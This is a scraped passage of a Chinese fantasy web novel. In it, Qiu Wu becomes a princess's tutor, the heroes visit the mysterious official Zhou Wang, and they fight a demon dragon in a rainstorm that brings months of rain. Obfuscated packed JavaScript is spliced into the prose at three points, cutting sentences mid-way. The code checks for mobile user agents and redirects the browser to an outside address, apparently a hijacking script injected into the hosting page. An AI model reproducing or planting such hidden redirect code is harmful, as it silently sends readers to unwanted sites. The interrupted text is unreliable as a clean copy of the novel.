圣旨来到紫阳宫时,邱梧正跟容珠和应白讨论要不要再去魔龙洞穴查探一事。 “我们最好不要对魔龙抱有松懈心理,魔龙一直没有现身,不代表它没在打什么更坏的主意。” 它不出来是一种危险,他们进魔龙洞穴也是一种危险,到了人家的地盘自然会“受制于龙”。 邱梧叹息道:“魔龙在暗,我们很被动,想提前预防什么也无从下手,万一将来有什么措手不及的危害那要如何?” 龙甲放在太阳底下晾了好几天依然原封不动立在那儿,他们起初还能相信魔龙掉了片龙甲是重伤,需时日调养,但随着安静的日子久了难免开始惶惶不安起来。 “我今天听母亲说了朝堂上的事,朝荣国如今各地都不太平,现在人心各思,生怨生贪,这些事情牵一及百,我们能帮百姓抵挡外在攻击却无法清净人心。” 朝荣国人一向淳朴热情,恶意和欲念在这个世界里都不会萌发,但不是没有。 魔龙曾说过人心有善恶,他能放大人心中的恶念,让人们为了自己的私欲而算计争斗,最有效的破解之法是自我约束,像邱梧极力克制自己一样,她所处的环境和所受的教养不允许她做有违正义之事,所以即便魔龙放大了邱梧心中的恶念,邱梧依然能清醒。 但很显然,不是每个人都有这份自制力,难道就没有其他的办法可以改变这一切? “受魔龙影响过的人心不易恢复如初,但朝荣国还有律法。”容珠想起她刚来朝荣国那会儿还对这里的制度一无所知,是邱梧在空闲的时候讲给她听的。 “律法能规制官僚百姓不犯大错,而各地知县本就身俱造福造民之责,皇宫规束各级官员知县,知县规束百姓,层层皆有规矩,可见民之安稳的根本在于朝廷。” 朝荣国和平的局面正悄无声息在瓦解,内部不安稳,身为朝荣国的执政者赵皇帝完全有责任以及权力去整顿局面,人心不管有多大的欲念,上有律法压制,律法之下有道德压制,只要君主贤明,各级官员公正清廉,百姓之间的矛盾纠纷都能控制在一定程度内。 魔龙是外患,百姓不宁便是朝荣国国内之忧,紫阳宫平外患,赵皇帝治内忧,唯有如此,朝荣国才有希望恢复到以前的局面。 邱梧眼睛一亮,“没错,是我被魔龙限制了,我总想着是魔龙的缘故让朝荣国百姓乱了心性,其实要控制骚乱的局面少不了陛下的威严和仁德,但现在的陛下尚且固执己见,难保各地官员仍守本心。” 应白道:“只要朝中有贤臣,譬如像三皇子那样的人才,赵皇帝总要三思再行。民间躁动也不是赵皇帝愿意看到的局面,他既派遣周公子去处理便已说明因先前断案一事对周公子心怀器重,朝荣国是否多一位人才也未可知。” 这时,紫阳宫弟子小跑来此让邱梧去前厅接旨,三人对这突如其来的旨意皆感到意外疑惑。 大殿中,沈宫主让宣旨公公小坐喝茶,公公面带微笑,浅浅落座,二人聊了一会后,邱梧已快步赶来。 待宣读完旨意,沈宫主和邱梧的神色都有些复杂,公公将圣旨放在邱梧手中道:“邱圣女,陛下正在宫里等你过去,若有疑问或想法,圣女可进宫与陛下详谈。” 邱梧起身笑道:“有劳公公,我这就随您进宫。”说着,她跟沈宫主对视一眼,母女二人眼神交流完后,邱梧便在夜色下进宫了。 人都走后,容珠就算不知道赵皇帝为何要让邱梧当四公主老师一事,也从方才邱梧和沈宫主的眼神中感觉出了两分事情的异样。 她担忧道:“沈宫主,陛下莫非另有他意吗?” 沈宫主很温柔地拉起容珠的手轻轻拍了拍道:“陛下因为之前刑台一事和今日朝堂上的事想警告我不要再忤逆他。” 这份旨意的意图太明显了,当四公主老师听起来是件挑不出毛病的事,但须知从前,修炼门派和皇宫并不直接接触,民间若有妖魔作祟,百姓直接上报当地门派请求处理,无需经皇宫下令。 门派和皇宫的职责向来泾渭分明,互不干涉,但说到底赵皇帝是朝荣国的君王,各门派生活在这儿便是他的臣民,所以对他心怀敬畏,也就前段时间赵皇帝性情转变以后让各派之主每日参与早朝,把门派和皇宫的关系逐渐拉向君臣。 今日早朝赵皇帝刚敲打完沈宫主,晚上就让邱梧去当四公主的老师,沈宫主又怎能连这其中的意思也看不出来? 容珠忧心道:“没有办法拒绝?” “此事合情合理,紫阳宫不会拒绝陛下的决定,但我们同样明辨是非,谨守本心,我知道,邱梧也知道。” 紫阳宫的本心一直是以民为先,不是随赵皇帝的心意做事,沈宫主不怕与皇宫对立,邱梧也明白进宫做四公主的老师并不真的是陛下在欣赏她,但她永远会做自己该做的事。 上官琛和顾云萧也被突如起来的旨意吸引过来,上官琛以为周望做错了事或者陛下发现他不适合给四公主当老师于是想到了阿姐。 而顾云萧则说赵皇帝真能折腾,一个六岁的公主来来回回换老师哪里还学得进去,不过她很看好邱梧,依顾云萧所见,世上没有哪个姑娘和邱梧相处后不会喜欢她。 大约半个时辰后,邱梧回到了紫阳宫,跟沈宫主聊过后在回院的路上看见了容珠。 “这么晚还不睡?”邱梧以为容珠担心赵皇帝会对她如何,只见她笑了笑,抬起一只胳膊,把一样东西递给邱梧:“明日你就要给四公主当老师了,送点小姑娘喜欢的东西,她一定更愿与你亲近。” 一只雪白的小兔子静静地卧在笼子里。 “我问过沈宫主了,给公主送小兔子没什么不合规矩的,宫里有专门饲养动物的人,兔子性情乖顺,也不需要费事调教,小孩子们应该都喜欢吧?” 邱梧心中惊喜:“咱们真是心有灵犀,回来的路上我就打算这么做。” 二人到屋内坐了下来,邱梧叹道:“前段时间,顾云萧和阿琛修炼,你和应白练剑,就我整日无所事事,我还觉得无聊,谁想这么快就有活计了。” 容珠道:“其实紫阳宫离皇宫不算远,御剑飞行不过几瞬间就到了,陛下还让你住在皇宫,那以后我得多久才能见你一次?” 邱梧倚在床边心累道:“陛下让我五天一休,说李贤妃仍然执迷不悟,四公主需要人陪伴。” 孩子最需要的是父母的陪伴,邱梧作为一个四公主不认识的人,就算以后跟四公主相处熟悉了,那她给四公主带来的陪伴也远不及李贤妃和赵皇帝带来的陪伴有价值。 更何况还有皇后这个嫡母在,陛下真的想给四公主找老师,怎么都不会想到去宫外找,把自己的幼女卷入皇宫和紫阳宫的纷争中,邱梧真心可怜四公主。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951635|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “就在几个时辰前,你才说到朝荣国现在面临的不只是魔龙问题,如今情形,陛下不想着率领官员稳定民间秩序,反而想着怎么牵制紫阳宫,我不怕陛下对我做什么,我只希望他身为朝荣国的君主能早日认清自己的责任。” 皇宫与紫阳宫分别作为朝荣国的最高权威和最强后盾,是众百姓安稳幸福的保障,二者相合则不惧内忧外患,二者对立,则天下大乱。 “容珠,你说朝荣国会不会有一天变成和你们那个世界一样可怕?” “不会。” “不会吗?” “不会。“容珠斩钉截铁,“至少朝荣国还有紫阳宫。” * 第二天一早,邱梧便收拾完东西去了皇宫。在小太监的引领下,邱梧穿过层层宫门进入后宫,最后来到四公主的寝殿。 彼时四公主正在吃早饭,看到了一个陌生的面孔后,四公主眨了下眼睛:“你是父皇给我安排的新老师?” 邱梧将东西放下,揖礼道:“邱梧见过公主,以后公主的课业都由我来教授。” “你带好玩的东西了吗?以前周先生每次来都给我带小玩意。” 邱梧笑着把藏着背后的东西拿出:“我带了只小兔子,不知公主喜不喜欢?” 四公主在看见兔子的一刹那就亮了双眼,拍着手掌道:“喜欢!宫里有狗有猫,还没有兔子呢!邱老师,我吃完了,咱们和小兔子一起去读书吧。” 说话间,四公主已经上前来到邱梧身边,邱梧没想到四公主聪明乖巧,她还担心小孩子要适应一阵,既然这样,邱梧心下一宽,跟四公主闲聊道:“以前周先生都教你什么呀?” “他教我读书、写字、画画,还给我讲故事,给我讲七个小人打败妖怪的故事,还给我讲蜡烛与烛台的故事,还有白棋子和黑棋子的故事。” 这些故事名字邱梧听着既陌生又奇怪,这时,四公主晃了晃她的手说:“邱老师,你会讲故事吗?” 邱梧不会讲故事,但她可以问问服侍公主的婢女,看看宫里有没有故事书可以给公主读,她刚想这么对四公主说,四公主低着头道:“父皇说你会住在皇宫,那你可不可以每天晚上都给我讲故事,母妃不在我身边,已经很长时间没有人给我讲睡前故事了。” 邱梧心中疑惑,服侍公主的婢女这么多,难道她们不能给公主讲故事吗? 只见四公主垂头道:“她们讲得都不动听,周先生只能白天给我讲,你既然是老师,那你一定和周先生讲得一样好听。” 四公主的手心还贴在邱梧手背上,看着这样一个母妃被囚禁,父皇忙于朝政没时间陪伴的公主,邱梧不忍拒绝,她将另一只手放在四公主手上,轻轻笑道:“好。” 此后几天,邱梧白日陪公主学一会儿,玩一会,晚上在公主睡觉前拿过婢女给她准备的一摞故事书念了起来,当公主睡着后,邱梧才回到自己屋内歇息。 邱梧休沐回来时,容珠和沈宫主等人纷纷像多年不见似的全都围在了邱梧身边,打听她和四公主的师生关系相处得怎么样,宫里吃得怎么样,陛下有没有说什么,邱梧都一一笑着回答了。 一个月后,都城传来一件大事:原先的皇家老师周望不负赵皇帝所托,已顺利解决朝荣国各地的民事纠纷,获得百姓夸赞,赵皇帝大喜,封周望为官,入朝听政。 87. 做客 周望年纪轻轻,相貌俊朗,又有办事能力,是以人人都在恭贺周大人入朝为官,没多久,周望二字在都城,在朝荣国就成为了极具影响力的名字。 面对众人的赞美之言,周望始终都是一副优雅的笑容,不骄不躁,谦虚有礼,三皇子和沈宫主都为朝荣国能得一位贤臣而感到欣慰。 “我能看出父王对他的信任和器重,希望有他在,父王能有所改变。” 除了解决各地琐事以外,周望还跟赵皇帝提议重新审核一下各地官员资质,力求能者上任,严惩贪官庸官,彰显陛下龙威与英明。 赵皇帝欣然应允,交由三皇子操办。 “师父,你说他一个修炼之人,为什么想去朝廷当官?”容珠练完剑法后,和应白坐在凉亭里休息。 应白笑道:“为什么你觉得修炼之人就不喜欢当官呢?” “倒也不是不合理的事,就是乍一听见这个消息觉得有点奇怪,别的官员办不好的事他去了就能办好,这样一个人才想必在修炼上也极有天赋,大可以搞个门派宫主当当,去了皇宫既受束缚还要忙于日常事务,虽说沈宫主也很忙碌,但她想去哪里也不必跟陛下报告,多自由。” 应白道:“人各有志吧,兴许他在修炼上已经有一定水平了,就想找别的事务挑战一下,我倒挺想去拜访他,探探他身上那丝熟悉之感究竟从何而来……” 从前应白出山后就喜欢结交灵力同样高强的人,就像漂亮姑娘看到同样漂亮的姑娘想结为朋友是一样的心情。 但灵力高的人也不少,志同道合的却没有,毕竟交友交的是心,不是外貌或灵力,所以应白到现在为止也只有紫阳宫这群朋友。 其实周望一开始给应白的第一印象并不好,应白从看到他的第一眼就下意识心生警惕。 他本就不是多疑敏感之人,不会平白无故对人产生防备心,这份多疑和从周望身上感受到的熟悉之感都来得莫名其妙,目下来看,周望此人当是个友善正直之人才对。 应白认为可能自己在漩涡之境麻痹了太久,分辨事物的能力稍有缺失…… 巧的是,过几日吃饭时,沈宫主说周望要请他们几个去他府上喝茶赏花。顾云萧一听当即蹦跳起来,兴奋道:“周公子太礼貌客气了,他真的让我们都去吗?” 顾云萧说“我们”两个字时,特地伸出双手将在座的人都划了遍,沈宫主笑道:“没错,他特地挑了一个邱梧休沐的日子,让我带着她、阿琛,你,容姑娘、应公子还有你爹爹一块去,他说自己喜欢热闹,让咱们不必拘束。” “他那宅子大不大,可别咱们去了给人家周大人添麻烦。”上官琛阴阳怪气地说着,沈宫主睨了他一眼道:“在家可以放肆,出去了若是胡言乱语,别怪我打你!” 顾云萧偷偷笑着。容珠朝应白递了个“好巧不巧”的眼神,应白会意一笑。 做客这日,天本来阴沉沉的,众人还以为要下雨,结果过了一会儿便晴朗万分。 七个人坐了两辆马车,女的坐一车,男的坐一车,金毛坐在紫阳宫大门前的台阶上,眼神忧郁地看着主人们都出去了。 到了周府后,容珠看到匾额上金光闪闪的“周府”二字时顿觉去皇家做官还是蛮气派的。 管家将他们引入后花园,容珠远远瞧这座宅院布景精致,装潢清雅,淡淡的花香充盈鼻间,让人感觉进入此处,浑身上下都被洗涤干净,只觉周身清爽,呼吸畅快。 “沈宫主。”周望从庭院出来上前打招呼,“难得相聚,周某不胜欣喜。” “周大人客气,先前我因忙于去各派看弟子比试,没能在紫阳宫招待你,后来我总想着找个机会再邀请你来做客,没成想你成了大人,如今也忙起来了,没了之前的悠闲,不知周大人还习不习惯?” 沈宫主笑着打趣,一众人等都坐在了庭院里的大桌旁。 周望优雅笑着:“悠闲有悠闲的乐趣,忙碌有忙碌的收获,更何况是为朝荣国做事,若得陛下赏识器重,自该尽心尽力。” 说话间,管家已将茶沏好,一一倒入每个人的茶碗中,沈宫主道:“春日光景甚好,是年轻人交友踏青的好时节,过几日,还有其他门派的弟子陆续来紫阳宫切磋武艺,周大人若有时间不如也去看看热闹?” 周望喝了口茶道:“我这个人就喜欢热闹,那么多热血年轻的儿郎相聚一起比试认识,一定会让人心潮澎湃。” “我也喜欢热闹!”顾云萧身子前倾,两只眼睛闪着明亮的光芒,“周大人可一定要来,紫阳宫有很多弟子都盼望着再见周大人呢!” 上官琛在她旁边咳嗽了一声,嘀咕道:“有什么好看的。” “紫阳宫群英荟萃,周某私心很想与在座的每一位都结识,所以总想去拜访紫阳宫,如今周某蒙陛下赏识,特赐宅院,有了落足之地,周某便一直盼望着能邀请诸位前来做客,今日天公作美,在这样美好的日子里与朋友喝茶闲聊,赏花吹风,是多么惬意的事啊。” 顾云萧一听周公子将他们称作他的朋友,不禁喜不自胜,邱梧笑道:“周大人风雅宁静,谦逊有礼,我在宫中教四公主读书时就常听四公主夸赞周先生。” “邱姑娘太抬举在下了,四公主天资聪颖,很是乖巧,再如何夸赞我,周某与公主的师徒缘分也了结了,邱姑娘智慧明理,又怎么不是一个好老师呢?” “那是,邱梧姐姐可是朝荣国最漂亮,最温柔的女子,既是紫阳宫的圣女又点亮了石碑,四公主肯定会喜欢邱老师的,只是周大人会不会因为原先的学生这么快喜欢一个新老师而不高兴啊?” 顾云萧的玩笑话让周望、沈宫主和邱梧都露出了不同的笑。 周望看向邱梧:“虽然我现在不教四公主读书了,但也希望四公主能遇到一位好老师,四公主能遇见邱姑娘,是四公主的运气。” 他话题一转:“说起石碑一事,想必各位都知道,前段时间,皇宫里的天师大人占卜得知,点亮石碑的七个人都来自都城东北方向,紫阳宫地处东北,周某说句大胆话,如今已有三个点亮石碑的人出自紫阳宫,焉知剩下四个不是来自紫阳宫呢?” 说罢,在座众人静默片刻,应白用目光扫了一眼众人,忽然意识到,除去周望外,其他人都来自紫阳宫,而且不多不少,正好七个。 “我倒真希望这七个人都出自紫阳宫。”沈宫主笑道,“为民除害,让朝荣国恢复太平是紫阳宫的职责和心愿,如此荣誉之事降临,我作为宫主定然十分欢喜。” 一抹忧郁之色又在沈宫主脸上浮现,“说到这里,我免不了要说一件影响诸位心情的话,距离上次杀魔龙早就过了三个月,而魔龙还未现身,它不出现我们便不知它在打什么算盘,暗处的敌人最是危险。” 周望悠哉地喝着茶,容珠从他抬起茶杯的动作中,不经意间看到了他袖口处露出的一截绷带。 什么伤都过去了几个月还没好? 几盏茶过后,周望提议大家赏花。 这些花有一部分是原先就在府里的,有一部分是他专门去外面花房买的,放眼望去,一片清雅,少有红色或黄色等夺目艳丽的花,多是白色、绿色、粉色、淡黄等颜色,所有的花都摆在廊下的花架上,长长一排,令人叹为观止。 长廊另一边是一汪湖水,有两只羽毛鲜艳的水鸭在湖里戏水。不管是看花还是看水都让人耳目一新,心旷神怡。 顾云萧拉着邱梧一会看这个花,一会儿看那个花,上官琛对花不感兴趣,准确地来说,他对这里的所有东西都不感兴趣。 这些东西紫阳宫都有,哪怕是一模一样的假山,亭子,紫阳宫就比周府的好看百倍。 长廊尽头是一片桃花园,粉红如霞,顾云萧兴奋地跑了过去,看见自家闺女毛毛躁躁的样子,顾寄章跟周望说了些抱歉的话,周望笑着说自己并不在意。 容珠和应白在人群最后小声聊着周望手臂伤口的事。 应白道:“某些灵力造成的伤的确不容易好。” “师父的意思是周公子和人打过架?” “伤口一直不痊愈要么是被某种独特的灵力所伤,要么是碰着毒物了,除此之外,我想不到还有其—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谈论间,他们已来到桃花园中,周望驻足看着容珠:“容姑娘,听闻是你用出的灵力致使龙甲掉落,你可知为什么旁人灵力做不到的事,你的灵力能做到?” 容珠心知是奚昤神力的强大让龙甲掉落,因为奚昤是上古神尊,她的神力定然是旁人所没有的。 不过这件事解释起来有些复杂,首先奚昤不是每一个人都知道她是谁,二则为什么奚昤的神识在自己灵核上也是个未知的问题,容珠没想好要不要告诉周望这一切。 但周望好像也没打算刨根问底,而是继续说:“不是因为这份灵力强大,有的时候,一些看似显而易见的答案并不是真正的答案,灵力高低也不会成为点亮石碑的影响因素,哪怕是一只蚂蚁也有其耀眼之处,不过通常来讲,人们不会去注意一只蚂蚁,所以会自然而然地忽略一些窥见真相的细节。” 周望的话很奇怪,就像在用他们能明白的字词说着他们听不懂的话。 “周大人很有思想见解,虽然我并不能完全明白你的意思,不过也能感觉到你似乎已经窥见到了真相。”应白近距离观察周望的双眼,这双眼的眸色原本就有些浅,经暖阳一照更像琉璃湖泊般透明光泽。 他忽然想起那天夜里他问邱梧觉不觉得周望眼熟时,邱梧的回答是:“他不像个凡人。” 他的样貌、气质和谈吐都透露着一种疏离神秘之感,他似乎知道很多东西,也能看明白很多东西,然而他周身却充斥着浓雾,旁人怎样都看不清这究竟是一个怎样的人。 周望淡淡一笑:“别人窥见的真相对其他人没有用,得自己发现才能真正明白。” 一阵春风吹过,桃花瓣片片纷飞,有几片落在了容珠头顶上,应白想伸手拿掉,不想目光范围内有另一只手比他先伸了出来,一片,两片,轻轻拿了下来。 “这些都是我的个人拙见。”周望将手心摊开,花瓣随风飞扬。 容珠自认和周公子的关系还没有好到这个地步,对他这个举动意外震惊,但她转念认为自己太狭隘了,朝荣国内人人乐于助人,周公子帮自己摘去头发上的桃花瓣只是好心为之啊…… 但这没法不让应白多想,他心中一刺,对周望的好感已经随桃花瓣飞远了,随之而来的敌意在心头悄然攀岩。 88. 雨战 临走时,周望送众人出门,顾云萧依依不舍地对周望说一定来紫阳宫看弟子比试。 “哎呀,走路看着点,差点绊倒了。”上官琛嚼着狗尾巴草横在顾云萧和周望之间,借着绊倒的由头把顾云萧往马车里推。 “地上哪有东西?你添什么乱?”顾云萧往地上瞅了半天也没见有石头坑洼一类地东西能绊倒自己,她没好气地用胳膊肘推他,被上官琛三下五除二拥到马车上。 周望笑眯眯上前道:“容姑娘再见。” 应白正准备上马车时忽然听见了这句话,他驻足望去,见周望正握着容珠的胳膊扶她上车。 “周大人再见。” 容珠尴尬地对他笑笑,心想自己又不是官家小姐,上个马车也不需要人扶,实在不明白为什么周望要对自己做出多此一举的举动。 马车缓缓前进,上官琛一脸郁闷,把嘴里的狗尾巴草扔出车帘外道:“终于回家了,大好的天气出来受气,真扫兴!” 应白忽然很认同上官琛这句话。 顾寄章瞅他:“为什么你对周大人有这么大意见?人家渊博睿智,独具慧眼,跟他做朋友你也能学到东西。” “我有先生你,跟他学什么劲!见他第一眼就不顺眼,要我跟他学习,那还不如罚我呢!” 顾寄章似乎对上官琛的激烈情绪很是奇怪,应白想自己不喜欢周望是因为他对容珠做了过分亲密的举动,那上官琛讨厌周望是因为什么? 众人到达紫阳宫之际,天又阴沉了下来,不一会儿便淅淅沥沥下起了小雨,随后瓢泼大雨接踵而至。 “这雨下得真巧,正好我们都进屋了。”沈宫主笑着闲说,上官琛忽然警惕道:“魔龙此刻在天上!” 一路回来他心情都不爽快,满肚子火气,冰凉的雨水蓦然提醒了他,正好上天打一场,找魔龙出一顿气! 豆大的雨滴疯狂席卷四周,像把今天上午没下下来的雨都补了回来。 邱梧想今日是个时机,若能杀它,可保朝荣国未来三个月太平安稳,“雨刚下起来,魔龙一定在云层之中,我们去崖海上空找一找!” 沈宫主快步来到门口抬头望天:“眼下的确是个机会,如今容珠灵力增长,伤害魔龙便多一份胜算,只是,我担心一件事。” “沈宫主担心什么?”容珠以为沈宫主忧心天气原因不好作战,但沈宫主说:“若朝荣国的雨水真的是魔龙所降,那以后它每在天上降雨我们就去杀它,朝荣国难道不会面临旱灾吗?民间多少百姓以种地为生,若雨水不足,庄稼产量定然受损。” 提起雨水,众人自然而然想到前三个月的天气情况,但朝荣国本就少雨,以往也有三个月一滴雨不降的情况出现,不过每当百姓们开始忧愁缺雨时,总能连下几天甘霖,所以朝荣国尽管少雨,但不缺雨。 而经上次击杀魔龙一事,众人才知雨水竟是一个妖魔所降,上官琛坚信雨水乃水神之职,魔龙能降雨不过是它使出的一种虚假的法术而已,不是真雨。 邱梧道:“真雨假雨也不是我们能认清的,不降雨和百姓伤亡比起来自然是后者更严重一些,况且我们也不是每次都能顺利击杀魔龙。” 一番讨论后,众人御剑出发。 这场雨下得又急又猛,四周景象在雨幕中变得模糊不清,众人屏障护身,踏着佩剑在云层中穿梭,密集的雨点在屏障上形成道道雨帘,御剑飞行固然快,但此刻在呼啸的大风中前行只觉分外艰难。 前方乌云翻滚,一道闪电劈亮了道路,广袤无垠的崖海依稀在雾蒙蒙的雨雾中出现。 “大家小心,注意魔龙!”沈宫主高昂的声音在瓢泼雨水的冲刷下变得沉闷遥远。 身处高处,湍急的雨水几乎将屏障淹没,众人视线受阻,上官琛直接撤掉了屏障查看四周,不过瞬间,他全身上下已彻底湿透。 “能看清吗?”邱梧扯着嗓子问他。 “比在屏障里强!”上官琛抹了把脸上的雨水,随后容珠和邱梧对视一眼,纷纷撤掉了屏障。 又一道惊雷在乌云堆里乍现,天空仿佛被撕裂开来,轰隆的声响几乎要震破众人的耳朵,原本黑暗的四周被闪电的光芒照亮了一下,只这一下,容珠透过将她双眼打得睁不开的雨水中看到了一道黑亮的影子。 “在那里!” 她尽力大声好让所有人听到,他们循着容珠所指的方向纷纷冲去,忽然一道黑影在眼前一闪,紧接着他们被大力扇回去好远。 一双金黄的大眼珠子在黑暗的云层中仿佛两盏明亮的灯笼,熟悉的声音在众人耳中缓慢低沉响起:“诸位,又见面了。” 硕大黑长的身躯在云层中若隐若现,黑亮的龙甲闪着点点精光,但有一处地方少了龙甲的庇护,看起来血肉模糊,十分突兀。 为什么魔龙不去紫阳宫拿龙甲?是即便龙甲拿回去也无法治伤还是它正在忙于别的事没工夫去拿龙甲? 容珠脑子里闪过诸多问题,只觉头顶一片黑影闪过,魔龙在悄无声息中来到众人之间。 瀑布般的雨水对魔龙没有丝毫影响,它的大眼起码能睁得又大又亮,而容珠要不停地抹去脸上的雨水才能保持视线清晰。 魔龙客气道:“沈宫主,我们不如商量一下,等我降完雨,我们再堂堂正正作战,这种天气实在无法公平对决,至少你们连眼睛都睁不开。” “呵!打架你也想挑时候?”上官琛抹了把脸,银枪高指。 “魔龙,我先问你三个问题。”沈宫主声音洪亮高亢,“第一,朝荣国的雨水一直是你降的吗?” “嗯……严格来说这并非我的职责,不过我这么做也是可以的。” “你伤害朝荣国百姓究竟为何?” 魔龙停顿了一下才道:“朝荣国缺少灾难,数千年来人人无病无灾,几乎到老才自然死亡,人类与其他生灵的平衡被打破,该降临在朝荣国的劫难全都被正义抵消,我就是要制造灾难。” 沈宫主目光惊诧:“哪一个生命活在世上会渴望灾难?别说是人,就是蚂蚁小草也不会愿意自己被踩踏,你口出狂言,凭什么要对我们制造灾难?” “善恶此消彼长才是世间规律,我就是要破坏朝荣国的安宁,还要消除……你们称之为海屏障。” “海屏障?”容珠大惊,“海屏障是你建立的?” 海屏障的存在一直是她和应白心中的疑惑,也是邱梧在点亮石碑前推理出来的疑点,如果善与恶要存在于一片天空之下,为什么还有海屏障将善与恶分开,形成两个世界? 魔龙摇头:“海屏障非我设立,但我需要解除它。” 它知道! 容珠心里隐隐有个想法告诉她,魔龙知道海屏障是怎么来的,它知道为什么会有海屏障,它什么都知道,但它选择隐瞒,那说出来会怎样?说出来对它自己不利还是说出来会影响它对朝荣国的计划? “魔龙,你为朝荣国降雨我本该对你心存敬畏,但你伤害百姓,制造灾难恕我不能苟同。”沈宫主的双眸就像雨水般冰冷,“你既说自己是恶,那我们便除恶扬善!” 雨还在疯狂飞落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16959753|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,打在人的脸上,像开战前一触即发的信号。 魔龙缓慢地眨了眨眼,巨大的身躯从乌云后渐渐显露,它的眼珠子扫过底下的每一个人,声音轻快:“对,就是这样,你们干你们的事,我干我的事,咱们遇见了就打一场,分个胜负,既然你们不嫌今日天气糟糕,那便开……” 话未说完,容珠便看见沈宫主朝她看过来,她当即会意,朝前飞去,一柄短剑从乾坤囊召出握在手中,登时灌满灵力,在沈宫主、邱梧和上官琛的合力助攻下,短剑脱手飞去—— 魔龙眼珠一动,伸出利爪想要弹开,容珠预见其动作,当即手掌一转,短剑随着灵力的偏移而与龙爪错开,隐没在浓密的云层中。 容珠本不确定短剑是否会正中魔龙肚皮,不过眨眼间便闻听一声尖锐的碰撞声,魔龙低吼一声,身影突然消失在云层中。 “那是什么?” 应白忽然看到有个黑点一样的东西从魔龙的位置急速落下,沈宫主和容珠等人还在寻找魔龙,顾寄章听到应白的声音后也注意到了那个东西,脚底一转,长剑飞速下落。 那东西不过是正常坠落,而顾寄章身负灵力御剑很快就离那物什越来越近。 顾云萧低呼一声:“是龙甲!” 龙甲眼看着要坠落入海,应白心想定是方才容珠那一把短剑击中所致,魔龙旧伤未愈又添新伤,定然十分愤怒。 这片龙甲他们拿到也没有用,只会招来魔龙敌对,本想对顾寄章说仍凭它落海,反正崖海是魔龙的占领地,它若需要自己找就是了,但顾云萧似乎很兴奋,她瞅准时机伸手拿了过来。 她两手捧着,像捧着面镜子在照自己,高兴得双眸发光,心想:“龙甲多帅啊!原先那片有缺损,到底没有这片美观,帅的东西自然跟帅的人相配才好,若把龙甲送给周大人他肯定很高兴。” 忽听空中魔龙发出一声低吼,三人抬头,只见这条黑亮硕大的身躯从高处坠落,魔龙声音低沉道:“沈宫主,到时见。” “哗”的一声,浪花四溅,鲜红的血迹在海面上漂浮,慢慢溶于海水。 “魔龙死了?”顾云萧似乎不敢相信。 众人站在礁石上静静观察着海面,应白的目光在容珠身上四处扫了一遍确认她没有受伤。上官琛怪道:“怎么这次这么容易就回洞穴里了?我还没开打呢!” 沈宫主温笑道:“那是容珠厉害,魔龙再失龙甲,短时间内不会再出来了。” * 魔龙再次击败的消息很快传到了赵皇帝耳中,赵皇帝说保护朝荣国本就是紫阳宫的职责,希望沈宫主不要骄躁。 雨淅淅沥沥地下了三天,下朝时,众官员感叹天气无常,沈宫主、邱宫主和上官宫主走在一处纷纷感到奇怪,按说魔龙此刻在洞穴中养伤,怎么还会继续下雨? 其他官员看见门派宫主都有避雨屏障,而自己即便打伞还防不住鞋湿,不禁倍感羡慕。 周望慢悠悠地走在人群后头,三皇子眼尖,发现周望走路异常,遂上前关切道:“周大人,我看你似乎腿脚有所不便,莫非哪里伤着了?” 周望停住步子,露出一个优雅礼貌的笑容,拍了拍自己的右腿道:“不瞒三殿下,每到下雨天,臣的腿疾就犯了,不是什么大事,回去抹抹药就好了。” 三皇子讶然:“周大人年纪轻轻怎么就有腿疾了?宫里有经验丰富的太医,不如让他们给周大人看看吧,可别落下病根。” “多谢三皇子记挂,不必劳烦太医,这点小毛病臣完全可以自理,告辞。” 89. 对策 淅淅沥沥的雨水一连下了九日,紫阳宫遍地都是水坑,连造景的湖泊都涨了水位,不少紫阳宫弟子正拿着木桶往外排水,将顺着水流游到外面的鲤鱼放回湖里。 第十天,容珠拿着应白的佩剑决定和邱梧、上官琛去海底洞穴查探一番,在试图穿过洞穴前的结界时,魔龙狡黠的声音从洞内传出: “我早说挑个好时候再打,你们非要在下雨的时候与我作战,现在我受伤了,要好好睡一觉,等三个月后我苏醒了才能止雨。” 话毕,一股无形之力将他们冲了回去,三人齐齐飞出海面跌落在沙滩上。 “朝荣国要下三个月的雨!” 当沈宫主把这件事禀告给赵皇帝后,赵皇帝龙颜震怒。 “沈宫主,为什么你们没有事先查明魔龙会控制雨水?” “为什么你们让魔龙有了降灾朝荣国的机会?” “身为朝荣国最有本事的人,你竟如此莽撞,让朝荣国千万百姓在未来三个月内要承受雨灾!” 赵皇帝从龙椅上站了起来:“如此冒失,寡人治你死罪也不为过!” “请父皇三思!”三皇子出列道:“沈宫主一心为国,谁也想不到在魔龙死后还会降雨,这是魔龙故意为之,它定然想降灾朝荣国的同时挑拨父皇与紫阳宫的关系,沈宫主的本心没有错,只是魔龙诡计更深。如今灾难降临,为预防洪涝发生,请父皇下令让各地知县做好河道疏通,防洪筑堤事项,以保百姓不受雨水侵害。” 周望垂眸静立一旁并不言语。 